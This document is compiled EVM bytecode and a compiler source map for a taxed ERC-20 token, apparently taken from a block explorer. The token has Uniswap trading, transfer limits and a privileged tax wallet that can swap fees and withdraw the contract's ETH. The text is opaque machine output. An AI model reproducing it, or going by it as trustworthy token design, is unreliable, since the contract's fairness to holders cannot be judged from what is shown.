a34565b5060015b92915050565b5f6103d86009600a6118b2565b6103e7906461f313f8806118c0565b905090565b5f6103f8848484610b58565b610449843361044485604051806060016040528060288152602001611a54602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110f8565b610a34565b5060019392505050565b6010546001600160a01b0316336001600160a01b031614610472575f80fd5b305f908152600160205260409020548015801590610498575060145462010000900460ff165b156104a6576104a681611130565b4780156104b6576104b68161129a565b5050565b5f546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e3906118d7565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104e3906118d7565b6105696009600a6118b2565b610578906461f313f8806118c0565b600c556105876009600a6118b2565b610596906461f313f8806118c0565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c66009600a6118b2565b6105d5906461f313f8806118c0565b60405190815260200160405180910390a1565b5f47116106375760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a206e6f2045544820696e2074686520636f6e747261637400000060448201526064016104e3565b6010546001600160a01b0316336001600160a01b031614610656575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561067f573d5f803e3d5ffd5b50565b5f6103c1338484610b58565b5f546001600160a01b031633146106b75760405162461bcd60e51b81526004016104e3906118d7565b60145460ff161561070a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e3565b6014805460ff19166001179055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107619030906107526009600a6118b2565b610444906461f313f8806118c0565b436013556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa1580156107ad573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d1919061190c565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610830573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610854919061190c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561089e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c2919061190c565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610909816001600160a01b03165f9081526001602052604090205490565b5f8061091c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610982573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109a79190611927565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109fc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a209190611952565b506014805462ff0000191662010000179055565b6001600160a01b038316610a965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e3565b6001600160a01b038216610af75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bbc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e3565b5f8111610c7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e3565b60145460ff161580610c985750601454610100900460ff165b15610cad57610ca88383836112d1565b505050565b5f80546001600160a01b03858116911614801590610cd857505f546001600160a01b03848116911614155b8015610cf257506010546001600160a01b03848116911614155b15610f4857610d236064610d1d600854600b5411610d1257600454610d16565b6006545b8590611374565b906113f9565b6012549091506001600160a01b038581169116148015610d5157506011546001600160a01b03848116911614155b8015610d7557506001600160a01b0383165f9081526003602052604090205460ff16155b15610e5b57600c54821115610dcc5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e3565b600d5482610dee856001600160a01b03165f9081526001602052604090205490565b610df89190611971565b1115610e465760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e3565b600b8054905f610e5583611984565b91905055505b6012546001600160a01b038481169116148015610e8157506001600160a01b0384163014155b15610eae57610eab6064610d1d600954600b5411610ea157600554610d16565b6007548590611374565b90505b305f90815260016020526040902054601454610100900460ff16158015610ee257506012546001600160a01b038581169116145b8015610ef6575060145462010000900460ff165b8015610f035750600e5481115b8015610f125750600a54600b54115b15610f4657610f34610f2f84610f2a84600f5461143a565b61143a565b611130565b478015610f4457610f444761129a565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f8557506001600160a01b0383165f9081526003602052604090205460ff165b8015610f9a57506001600160a01b0384163014155b8015610faf57506001600160a01b0383163014155b15610fb957436017555b6001600160a01b0384165f9081526003602052604090205460ff16158015610ff957506001600160a01b0383165f9081526003602052604090205460ff16155b156110e6576012546001600160a01b038481169116146110a2576001600160a01b038084165f90815260186020526040902060125490919081169086160361106a5780545f0361106557600a54600b5411156110575743815561109c565b61106260014361199c565b81555b61109c565b6001600160a01b0385165f90815260186020526040902081541580611090575081548154105b1561109a57805482555b505b506110e6565b60145462010000900460ff16156110e6576001600160a01b0384165f90815260186020526040902060175481546110d9919061199c565b6002820155426001909101555b6110f28484848461144e565b50505050565b5f818484111561111b5760405162461bcd60e51b81526004016104e391906116a4565b505f611127848661199c565b95945050505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611172576111726119af565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ed919061190c565b81600181518110611200576112006119af565b6001600160a01b0392831660209182029290920101526011546112269130911684610a34565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061125e9085905f908690309042906004016119c3565b5f604051808303815f87803b158015611275575f80fd5b505af1158015611287573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104b6573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112f39082611478565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461132190826114b9565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b4b9085815260200190565b5f825f0361138357505f6103c5565b5f61138e83856118c0565b90508261139b8583611a34565b146113f25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e3565b9392505050565b5f6113f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611517565b5f81831161144857826113f2565b50919050565b5f61145a858484611543565b905061147185858361146c8787611478565b6115f3565b5050505050565b5f6113f283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f8565b5f806114c58385611971565b9050838110156113f25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e3565b5f81836115375760405162461bcd60e51b81526004016104e391906116a4565b505f6111278486611a34565b6010545f9081906001600160a01b039081169086160361156f5760155461156a9085611374565b611571565b835b905082156115eb57305f9081526001602052604090205461159290846114b9565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115e29087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116159083611478565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461164390826114b9565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116969085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116d0578581018301518582016040015282016116b4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461067f575f80fd5b5f8060408385031215611715575f80fd5b8235611720816116f0565b946020939093013593505050565b5f805f60608486031215611740575f80fd5b833561174b816116f0565b9250602084013561175b816116f0565b929592945050506040919091013590565b5f6020828403121561177c575f80fd5b81356113f2816116f0565b5f8060408385031215611798575f80fd5b82356117a3816116f0565b915060208301356117b3816116f0565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561180c57815f19048211156117f2576117f26117be565b808516156117ff57918102915b93841c93908002906117d7565b509250929050565b5f82611822575060016103c5565b8161182e57505f6103c5565b8160018114611844576002811461184e5761186a565b60019150506103c5565b60ff84111561185f5761185f6117be565b50506001821b6103c5565b5060208310610133831016604e8410600b841016171561188d575081810a6103c5565b61189783836117d2565b805f19048211156118aa576118aa6117be565b029392505050565b5f6113f260ff841683611814565b80820281158282048414176103c5576103c56117be565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561191c575f80fd5b81516113f2816116f0565b5f805f60608486031215611939575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611962575f80fd5b815180151581146113f2575f80fd5b808201808211156103c5576103c56117be565b5f60018201611995576119956117be565b5060010190565b818103818111156103c5576103c56117be565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a135784516001600160a01b0316835293830193918301916001016119ee565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a4e57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da7cea1488a359bb80013683c227f7789ad12e8485eb4a50e9c254ca1b8f27cd64736f6c63430008170033
Deployed Bytecode Sourcemap
3479:10536:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5548:83;;;;;;;;;;-1:-1:-1;5618:5:0;;;;;;;;;;;-1:-1:-1;;;5618:5:0;;;;5548:83;;;;5618:5;5548:83;:::i;:::-;;;;;;;;6381:161;;;;;;;;;;-1:-1:-1;6381:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6381:161:0;1023:187:1;4821:28:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4821:28:0;1215:177:1;4490:54:0;;;;;;;;;;;;;;;;5825:95;;;;;;;;;;;;;:::i;6550:363::-;;;;;;;;;;-1:-1:-1;6550:363:0;;;;;:::i;:::-;;:::i;5734:83::-;;;;;;;;;;-1:-1:-1;5734:83:0;;4217:1;2000:36:1;;1988:2;1973:18;5734:83:0;1858:184:1;4649:28:0;;;;;;;;;;-1:-1:-1;4649:28:0;;;;-1:-1:-1;;;;;4649:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4649:28:0;2047:203:1;13413:365:0;;;;;;;;;;;;;:::i;:::-;;5928:119;;;;;;;;;;-1:-1:-1;5928:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6021:18:0;5994:7;6021:18;;;:9;:18;;;;;;;5928:119;2560:148;;;;;;;;;;;;;:::i;12392:161::-;;;;;;;;;;;;;:::i;4295:56::-;;;;;;;;;;;;;;;;2346:79;;;;;;;;;;-1:-1:-1;2384:7:0;2411:6;-1:-1:-1;;;;;2411:6:0;2346:79;;4358:58;;;;;;;;;;;;;;;;13786:226;;;;;;;;;;;;;:::i;6055:167::-;;;;;;;;;;-1:-1:-1;6055:167:0;;;;;:::i;:::-;;:::i;4423:60::-;;;;;;;;;;;;;;;;12661:707;;;;;;;;;;;;;:::i;6230:143::-;;;;;;;;;;-1:-1:-1;6230:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6338:18:0;;;6311:7;6338:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6230:143;6381:161;6456:4;6473:39;181:10;6496:7;6505:6;6473:8;:39::i;:::-;-1:-1:-1;6530:4:0;6381:161;;;;;:::o;5825:95::-;5878:7;4275:13;4217:1;4275:2;:13;:::i;:::-;4260:28;;:12;:28;:::i;:::-;5898:14;;5825:95;:::o;6550:363::-;6648:4;6665:36;6675:6;6683:9;6694:6;6665:9;:36::i;:::-;6712:171;6735:6;181:10;6783:89;6821:6;6783:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6783:19:0;;;;;;:11;:19;;;;;;;;181:10;6783:33;;;;;;;;;;:37;:89::i;:::-;6712:8;:171::i;:::-;-1:-1:-1;6901:4:0;6550:363;;;;;:::o;13413:365::-;13477:10;;-1:-1:-1;;;;;13477:10:0;181;-1:-1:-1;;;;;13463:24:0;;13455:33;;;;;;13538:4;13499:20;6021:18;;;:9;:18;;;;;;13558:14;;;;;:30;;-1:-1:-1;13577:11:0;;;;;;;13558:30;13555:90;;;13603:30;13620:12;13603:16;:30::i;:::-;13674:21;13709:12;;13706:65;;13735:24;13748:10;13735:12;:24::i;:::-;13444:334;;13413:365::o;2560:148::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;;;;;;;;;2667:1:::1;2651:6:::0;;2630:40:::1;::::0;-1:-1:-1;;;;;2651:6:0;;::::1;::::0;2630:40:::1;::::0;2667:1;;2630:40:::1;2698:1;2681:19:::0;;-1:-1:-1;;;;;;2681:19:0::1;::::0;;2560:148::o;12392:161::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;4275:13:::1;4217:1;4275:2;:13;:::i;:::-;4260:28;::::0;:12:::1;:28;:::i;:::-;12448:12;:21:::0;4275:13:::1;4217:1;4275:2;:13;:::i;:::-;4260:28;::::0;:12:::1;:28;:::i;:::-;12480:14;:22:::0;12518:27:::1;4275:13;4217:1;4275:2;:13;:::i;:::-;4260:28;::::0;:12:::1;:28;:::i;:::-;12518:27;::::0;1361:25:1;;;1349:2;1334:18;12518:27:0::1;;;;;;;12392:161::o:0;13786:226::-;13861:1;13837:21;:25;13829:67;;;;-1:-1:-1;;;13829:67:0;;5145:2:1;13829:67:0;;;5127:21:1;5184:2;5164:18;;;5157:30;5223:31;5203:18;;;5196:59;5272:18;;13829:67:0;4943:353:1;13829:67:0;13931:10;;-1:-1:-1;;;;;13931:10:0;181;-1:-1:-1;;;;;13915:26:0;;13907:35;;;;;;13953:51;;13961:10;;13982:21;13953:51;;;;;;;;;13982:21;13961:10;13953:51;;;;;;;;;;;;;;;;;;;;;13786:226::o;6055:167::-;6133:4;6150:42;181:10;6174:9;6185:6;6150:9;:42::i;12661:707::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;12725:11:::1;::::0;::::1;;12724:12;12716:48;;;::::0;-1:-1:-1;;;12716:48:0;;5503:2:1;12716:48:0::1;::::0;::::1;5485:21:1::0;5542:2;5522:18;;;5515:30;5581:25;5561:18;;;5554:53;5624:18;;12716:48:0::1;5301:347:1::0;12716:48:0::1;12775:11;:18:::0;;-1:-1:-1;;12775:18:0::1;12789:4;12775:18;::::0;;12804:15:::1;:80:::0;;-1:-1:-1;;;;;;12804:80:0::1;12841:42;12804:80:::0;;::::1;::::0;;;12895:57:::1;::::0;12912:4:::1;::::0;4275:13:::1;4217:1;4275:2;:13;:::i;:::-;4260:28;::::0;:12:::1;:28;:::i;12895:57::-;12976:12;12963:10;:25:::0;13033:15:::1;::::0;:25:::1;::::0;;-1:-1:-1;;;13033:25:0;;;;-1:-1:-1;;;;;13033:15:0;;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13015:55:0::1;;13079:4;13086:15;;;;;;;;;-1:-1:-1::0;;;;;13086:15:0::1;-1:-1:-1::0;;;;;13086:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13015:94;::::0;-1:-1:-1;;;;;;13015:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6139:15:1;;;13015:94:0::1;::::0;::::1;6121:34:1::0;6191:15;;6171:18;;;6164:43;6056:18;;13015:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12999:13;:110:::0;;-1:-1:-1;;;;;12999:110:0;;::::1;-1:-1:-1::0;;;;;;12999:110:0;;::::1;;::::0;;13120:15:::1;::::0;::::1;:31;13159:21;13190:4;13196:24;13190:4:::0;-1:-1:-1;;;;;6021:18:0;5994:7;6021:18;;;:9;:18;;;;;;;5928:119;13196:24:::1;13221:1;13223::::0;13225:7:::1;2384::::0;2411:6;-1:-1:-1;;;;;2411:6:0;;2346:79;13225:7:::1;13120:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13120:129:0;;;-1:-1:-1;;;;;6577:15:1;;;13120:129:0::1;::::0;::::1;6559:34:1::0;6609:18;;;6602:34;;;;6652:18;;;6645:34;;;;6695:18;;;6688:34;6759:15;;;6738:19;;;6731:44;13233:15:0::1;6791:19:1::0;;;6784:35;6493:19;;13120:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13267:13:0::1;::::0;13298:15:::1;::::0;13260:71:::1;::::0;-1:-1:-1;;;13260:71:0;;-1:-1:-1;;;;;13298:15:0;;::::1;13260:71;::::0;::::1;7315:51:1::0;-1:-1:-1;;7382:18:1;;;7375:34;13267:13:0;::::1;::::0;-1:-1:-1;13260:29:0::1;::::0;7288:18:1;;13260:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13342:11:0::1;:18:::0;;-1:-1:-1;;13342:18:0::1;::::0;::::1;::::0;;12661:707::o;6921:335::-;-1:-1:-1;;;;;7014:19:0;;7006:68;;;;-1:-1:-1;;;7006:68:0;;7904:2:1;7006:68:0;;;7886:21:1;7943:2;7923:18;;;7916:30;7982:34;7962:18;;;7955:62;-1:-1:-1;;;8033:18:1;;;8026:34;8077:19;;7006:68:0;7702:400:1;7006:68:0;-1:-1:-1;;;;;7093:21:0;;7085:68;;;;-1:-1:-1;;;7085:68:0;;8309:2:1;7085:68:0;;;8291:21:1;8348:2;8328:18;;;8321:30;8387:34;8367:18;;;8360:62;-1:-1:-1;;;8438:18:1;;;8431:32;8480:19;;7085:68:0;8107:398:1;7085:68:0;-1:-1:-1;;;;;7164:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7216:32;;1361:25:1;;;7216:32:0;;1334:18:1;7216:32:0;;;;;;;;6921:335;;;:::o;7524:3197::-;-1:-1:-1;;;;;7617:18:0;;7609:68;;;;-1:-1:-1;;;7609:68:0;;8712:2:1;7609:68:0;;;8694:21:1;8751:2;8731:18;;;8724:30;8790:34;8770:18;;;8763:62;-1:-1:-1;;;8841:18:1;;;8834:35;8886:19;;7609:68:0;8510:401:1;7609:68:0;-1:-1:-1;;;;;7696:16:0;;7688:64;;;;-1:-1:-1;;;7688:64:0;;9118:2:1;7688:64:0;;;9100:21:1;9157:2;9137:18;;;9130:30;9196:34;9176:18;;;9169:62;-1:-1:-1;;;9247:18:1;;;9240:33;9290:19;;7688:64:0;8916:399:1;7688:64:0;7783:1;7771:11;:13;7763:67;;;;-1:-1:-1;;;7763:67:0;;9522:2:1;7763:67:0;;;9504:21:1;9561:2;9541:18;;;9534:30;9600:34;9580:18;;;9573:62;-1:-1:-1;;;9651:18:1;;;9644:39;9700:19;;7763:67:0;9320:405:1;7763:67:0;7846:11;;;;7845:12;;:22;;-1:-1:-1;7861:6:0;;;;;;;7845:22;7841:112;;;7884:36;7899:4;7905:2;7908:11;7884:14;:36::i;:::-;7524:3197;;;:::o;7841:112::-;7965:17;2411:6;;-1:-1:-1;;;;;7999:15:0;;;2411:6;;7999:15;;;;:32;;-1:-1:-1;2384:7:0;2411:6;-1:-1:-1;;;;;8018:13:0;;;2411:6;;8018:13;;7999:32;:52;;;;-1:-1:-1;8041:10:0;;-1:-1:-1;;;;;8035:16:0;;;8041:10;;8035:16;;7999:52;7995:1256;;;8080:83;8159:3;8080:74;8109:15;;8097:9;;:27;8096:57;;8139:14;;8096:57;;;8126:12;;8096:57;8080:11;;:15;:74::i;:::-;:78;;:83::i;:::-;8192:13;;8068:95;;-1:-1:-1;;;;;;8184:21:0;;;8192:13;;8184:21;:55;;;;-1:-1:-1;8223:15:0;;-1:-1:-1;;;;;8209:30:0;;;8223:15;;8209:30;;8184:55;:84;;;;-1:-1:-1;;;;;;8246:22:0;;;;;;:18;:22;;;;;;;;8244:24;8184:84;8180:319;;;8312:12;;8297:11;:27;;8289:65;;;;-1:-1:-1;;;8289:65:0;;9932:2:1;8289:65:0;;;9914:21:1;9971:2;9951:18;;;9944:30;10010:27;9990:18;;;9983:55;10055:18;;8289:65:0;9730:349:1;8289:65:0;8408:14;;8395:11;8381:13;8391:2;-1:-1:-1;;;;;6021:18:0;5994:7;6021:18;;;:9;:18;;;;;;;5928:119;8381:13;:25;;;;:::i;:::-;:41;;8373:80;;;;-1:-1:-1;;;8373:80:0;;10416:2:1;8373:80:0;;;10398:21:1;10455:2;10435:18;;;10428:30;10494:28;10474:18;;;10467:56;10540:18;;8373:80:0;10214:350:1;8373:80:0;8472:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8180:319;8522:13;;-1:-1:-1;;;;;8518:17:0;;;8522:13;;8518:17;:41;;;;-1:-1:-1;;;;;;8539:20:0;;8554:4;8539:20;;8518:41;8515:177;;;8592:84;8672:3;8592:75;8619:16;;8609:9;;:26;8608:58;;8651:15;;8608:58;;;8637:13;;8592:11;;:15;:75::i;:84::-;8580:96;;8515:177;8757:4;8708:28;6021:18;;;:9;:18;;;;;;8783:6;;;;;;;8782:7;:30;;;;-1:-1:-1;8799:13:0;;-1:-1:-1;;;;;8793:19:0;;;8799:13;;8793:19;8782:30;:45;;;;-1:-1:-1;8816:11:0;;;;;;;8782:45;:89;;;;;8854:17;;8831:20;:40;8782:89;:140;;;;;8904:18;;8892:9;;:30;8782:140;8778:462;;;8957:74;8974:56;8978:11;8991:38;8995:20;9017:11;;8991:3;:38::i;:::-;8974:3;:56::i;:::-;8957:16;:74::i;:::-;9079:21;9123:22;;9119:106;;9170:35;9183:21;9170:12;:35::i;:::-;8938:302;8778:462;8053:1198;7995:1256;-1:-1:-1;;;;;9267:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;9295:22:0;;;;;;:18;:22;;;;;;;;9267:50;9266:75;;;;-1:-1:-1;;;;;;9322:19:0;;9336:4;9322:19;;9266:75;:97;;;;-1:-1:-1;;;;;;9345:18:0;;9358:4;9345:18;;9266:97;9263:160;;;9399:12;9380:16;:31;9263:160;-1:-1:-1;;;;;9451:24:0;;;;;;:18;:24;;;;;;;;9450:25;:66;;;;-1:-1:-1;;;;;;9494:22:0;;;;;;:18;:22;;;;;;;;9493:23;9450:66;9433:1223;;;9546:13;;-1:-1:-1;;;;;9546:19:0;;;:13;;:19;9542:1103;;-1:-1:-1;;;;;9617:14:0;;;9587:27;9617:14;;;:10;:14;;;;;9662:13;;9617:14;;9662:13;;;9654:21;;;;9650:707;;9704:23;;;:28;9700:320;;9775:18;;9765:9;;:28;9761:236;;;9852:12;9826:38;;9650:707;;9761:236;9955:14;9968:1;9955:12;:14;:::i;:::-;9929:40;;9761:236;9650:707;;;-1:-1:-1;;;;;10103:16:0;;10068:32;10103:16;;;:10;:16;;;;;10146:23;;:28;;:86;;-1:-1:-1;10209:23:0;;10178:28;;:54;10146:86;10142:196;;;10286:28;;10260:54;;10142:196;10045:312;9650:707;9568:804;9542:1103;;;10382:11;;;;;;;10378:267;;;-1:-1:-1;;;;;10449:16:0;;10414:32;10449:16;;;:10;:16;;;;;10547;;10516:28;;:47;;10547:16;10516:47;:::i;:::-;10484:29;;;:79;10614:15;10582:29;;;;:47;10378:267;10668:45;10683:4;10688:2;10691:11;10703:9;10668:14;:45::i;:::-;7598:3123;7524:3197;;;:::o;1238:190::-;1324:7;1360:12;1352:6;;;;1344:29;;;;-1:-1:-1;;;1344:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1384:9:0;1396:5;1400:1;1396;:5;:::i;:::-;1384:17;1238:190;-1:-1:-1;;;;;1238:190:0:o;11901:483::-;5169:6;:13;;-1:-1:-1;;5169:13:0;;;;;12003:16:::1;::::0;;12017:1:::1;12003:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12003:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12003:16:0::1;11979:40;;12048:4;12030;12035:1;12030:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12030:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12074:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12074:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12030:7;;12074:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12064:4;12069:1;12064:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12064:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12139:15:::1;::::0;12107:62:::1;::::0;12124:4:::1;::::0;12139:15:::1;12157:11:::0;12107:8:::1;:62::i;:::-;12180:15;::::0;:196:::1;::::0;-1:-1:-1;;;12180:196:0;;-1:-1:-1;;;;;12180:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12261:11;;12180:15:::1;::::0;12303:4;;12330::::1;::::0;12350:15:::1;::::0;12180:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5205:6:0;:14;;-1:-1:-1;;5205:14:0;;;-1:-1:-1;;;;11901:483:0:o;12561:92::-;12618:10;;:27;;-1:-1:-1;;;;;12618:10:0;;;;:27;;;;;12638:6;;12618:10;:27;:10;:27;12638:6;12618:10;:27;;;;;;;;;;;;;;;;;;;7264:252;-1:-1:-1;;;;;7373:15:0;;;;;;:9;:15;;;;;;:32;;7393:11;7373:19;:32::i;:::-;-1:-1:-1;;;;;7355:15:0;;;;;;;:9;:15;;;;;;:50;;;;7432:13;;;;;;;:30;;7450:11;7432:17;:30::i;:::-;-1:-1:-1;;;;;7416:13:0;;;;;;;:9;:13;;;;;;;:46;;;;7478:30;;;;;;;;;;7496:11;1361:25:1;;1349:2;1334:18;;1215:177;1436:246:0;1494:7;1518:1;1523;1518:6;1514:47;;-1:-1:-1;1548:1:0;1541:8;;1514:47;1571:9;1583:5;1587:1;1583;:5;:::i;:::-;1571:17;-1:-1:-1;1616:1:0;1607:5;1611:1;1571:17;1607:5;:::i;:::-;:10;1599:56;;;;-1:-1:-1;;;1599:56:0;;12515:2:1;1599:56:0;;;12497:21:1;12554:2;12534:18;;;12527:30;12593:34;12573:18;;;12566:62;-1:-1:-1;;;12644:18:1;;;12637:31;12685:19;;1599:56:0;12313:397:1;1599:56:0;1673:1;1436:246;-1:-1:-1;;;1436:246:0:o;1690:132::-;1748:7;1775:39;1779:1;1782;1775:39;;;;;;;;;;;;;;;;;:3;:39::i;11795:98::-;11852:7;11879:1;11877;:3;11876:9;;11884:1;11876:9;;;-1:-1:-1;11882:1:0;11795:98;-1:-1:-1;11795:98:0:o;10729:301::-;10882:15;10898:47;10916:4;10922:11;10935:9;10898:17;:47::i;:::-;10882:63;-1:-1:-1;10956:66:0;10976:4;10982:2;10882:63;10995:26;:11;11011:9;10995:15;:26::i;:::-;10956:19;:66::i;:::-;10871:159;10729:301;;;;:::o;1094:136::-;1152:7;1179:43;1183:1;1186;1179:43;;;;;;;;;;;;;;;;;:3;:43::i;907:179::-;965:7;;997:5;1001:1;997;:5;:::i;:::-;985:17;;1026:1;1021;:6;;1013:46;;;;-1:-1:-1;;;1013:46:0;;12917:2:1;1013:46:0;;;12899:21:1;12956:2;12936:18;;;12929:30;12995:29;12975:18;;;12968:57;13042:18;;1013:46:0;12715:351:1;1830:189:0;1916:7;1951:12;1944:5;1936:28;;;;-1:-1:-1;;;1936:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1975:9:0;1987:5;1991:1;1987;:5;:::i;11370:415::-;1151